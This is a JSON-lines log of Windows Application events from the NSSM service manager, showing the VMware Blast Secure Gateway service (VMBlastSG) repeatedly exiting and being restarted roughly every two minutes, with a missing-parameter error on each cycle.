{"@timestamp":1646618063755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149628","149628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153249}}
{"@timestamp":1646618063770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153250}}
{"@timestamp":1646618063770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153251}}
{"@timestamp":1646618063771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153252}}
{"@timestamp":1646618063772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153253}}
{"@timestamp":1646618192270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153254}}
{"@timestamp":1646618192272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153255}}
{"@timestamp":1646618192272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148724","0"]}}},"module":"Application","provider":"nssm","sequence":153256}}
{"@timestamp":1646618192273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148724","148724","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153257}}
{"@timestamp":1646618192288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153258}}
{"@timestamp":1646618192289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153259}}
{"@timestamp":1646618192289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153260}}
{"@timestamp":1646618192290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153261}}
{"@timestamp":1646618320988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153262}}
{"@timestamp":1646618320989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153263}}
{"@timestamp":1646618320990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149580","0"]}}},"module":"Application","provider":"nssm","sequence":153264}}
{"@timestamp":1646618320990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149580","149580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153265}}
{"@timestamp":1646618321006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153266}}
{"@timestamp":1646618321006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153267}}
{"@timestamp":1646618321007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153268}}
{"@timestamp":1646618321008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153269}}
{"@timestamp":1646618449503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153270}}
{"@timestamp":1646618449505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153271}}
{"@timestamp":1646618449506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146000","0"]}}},"module":"Application","provider":"nssm","sequence":153272}}
{"@timestamp":1646618449506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146000","146000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153273}}
{"@timestamp":1646618449522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153274}}
{"@timestamp":1646618449522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153275}}
{"@timestamp":1646618449523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153276}}
{"@timestamp":1646618449523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153277}}
{"@timestamp":1646618578003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153278}}
{"@timestamp":1646618578004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153279}}
{"@timestamp":1646618578005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150468","0"]}}},"module":"Application","provider":"nssm","sequence":153280}}
{"@timestamp":1646618578006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150468","150468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153281}}
{"@timestamp":1646618578022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153282}}
{"@timestamp":1646618578023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153283}}
{"@timestamp":1646618578023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153284}}
{"@timestamp":1646618578024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153285}}
{"@timestamp":1646618706576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153286}}
{"@timestamp":1646618706577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153287}}
{"@timestamp":1646618706578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","104876","0"]}}},"module":"Application","provider":"nssm","sequence":153288}}
{"@timestamp":1646618706579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["104876","104876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153289}}
{"@timestamp":1646618706596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153290}}
{"@timestamp":1646618706596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153291}}
{"@timestamp":1646618706597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153292}}
{"@timestamp":1646618706600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153293}}
{"@timestamp":1646618835113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153294}}
{"@timestamp":1646618835114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153295}}
{"@timestamp":1646618835115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149252","0"]}}},"module":"Application","provider":"nssm","sequence":153296}}
{"@timestamp":1646618835115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149252","149252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153297}}
{"@timestamp":1646618835133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153298}}
{"@timestamp":1646618835133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153299}}
{"@timestamp":1646618835134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153300}}
{"@timestamp":1646618835135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153301}}
{"@timestamp":1646618963634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153302}}
{"@timestamp":1646618963635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153303}}
{"@timestamp":1646618963636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148824","0"]}}},"module":"Application","provider":"nssm","sequence":153304}}
{"@timestamp":1646618963637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148824","148824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153305}}
{"@timestamp":1646618963652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153306}}
{"@timestamp":1646618963652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153307}}
{"@timestamp":1646618963653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153308}}
{"@timestamp":1646618963653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153309}}
{"@timestamp":1646619092197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153310}}
{"@timestamp":1646619092198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153311}}
{"@timestamp":1646619092199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147876","0"]}}},"module":"Application","provider":"nssm","sequence":153312}}
{"@timestamp":1646619092199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147876","147876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153313}}
{"@timestamp":1646619092217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153314}}
{"@timestamp":1646619092218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153315}}
{"@timestamp":1646619092218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153316}}
{"@timestamp":1646619092219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153317}}
{"@timestamp":1646619220712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153318}}
{"@timestamp":1646619220714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153319}}
{"@timestamp":1646619220715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149560","0"]}}},"module":"Application","provider":"nssm","sequence":153320}}
{"@timestamp":1646619220716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149560","149560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153321}}
{"@timestamp":1646619220732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153322}}
{"@timestamp":1646619220732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153323}}
{"@timestamp":1646619220733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153324}}
{"@timestamp":1646619220734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153325}}
{"@timestamp":1646619349221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153326}}
{"@timestamp":1646619349223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153327}}
{"@timestamp":1646619349224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150024","0"]}}},"module":"Application","provider":"nssm","sequence":153328}}
{"@timestamp":1646619349224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150024","150024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153329}}
{"@timestamp":1646619349240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153330}}
{"@timestamp":1646619349241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153331}}
{"@timestamp":1646619349242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153332}}
{"@timestamp":1646619349243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153333}}
{"@timestamp":1646619477730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153334}}
{"@timestamp":1646619477731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153335}}
{"@timestamp":1646619477732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149908","0"]}}},"module":"Application","provider":"nssm","sequence":153336}}
{"@timestamp":1646619477733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149908","149908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153337}}
{"@timestamp":1646619477748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153338}}
{"@timestamp":1646619477749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153339}}
{"@timestamp":1646619477749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153340}}
{"@timestamp":1646619477750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153341}}
{"@timestamp":1646619606353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153342}}
{"@timestamp":1646619606353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153343}}
{"@timestamp":1646619606354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149864","0"]}}},"module":"Application","provider":"nssm","sequence":153344}}
{"@timestamp":1646619606354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149864","149864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153345}}
{"@timestamp":1646619606371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153346}}
{"@timestamp":1646619606371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153347}}
{"@timestamp":1646619606372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153348}}
{"@timestamp":1646619606373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153349}}
{"@timestamp":1646619734889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153350}}
{"@timestamp":1646619734891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153351}}
{"@timestamp":1646619734891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150424","0"]}}},"module":"Application","provider":"nssm","sequence":153352}}
{"@timestamp":1646619734892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150424","150424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153353}}
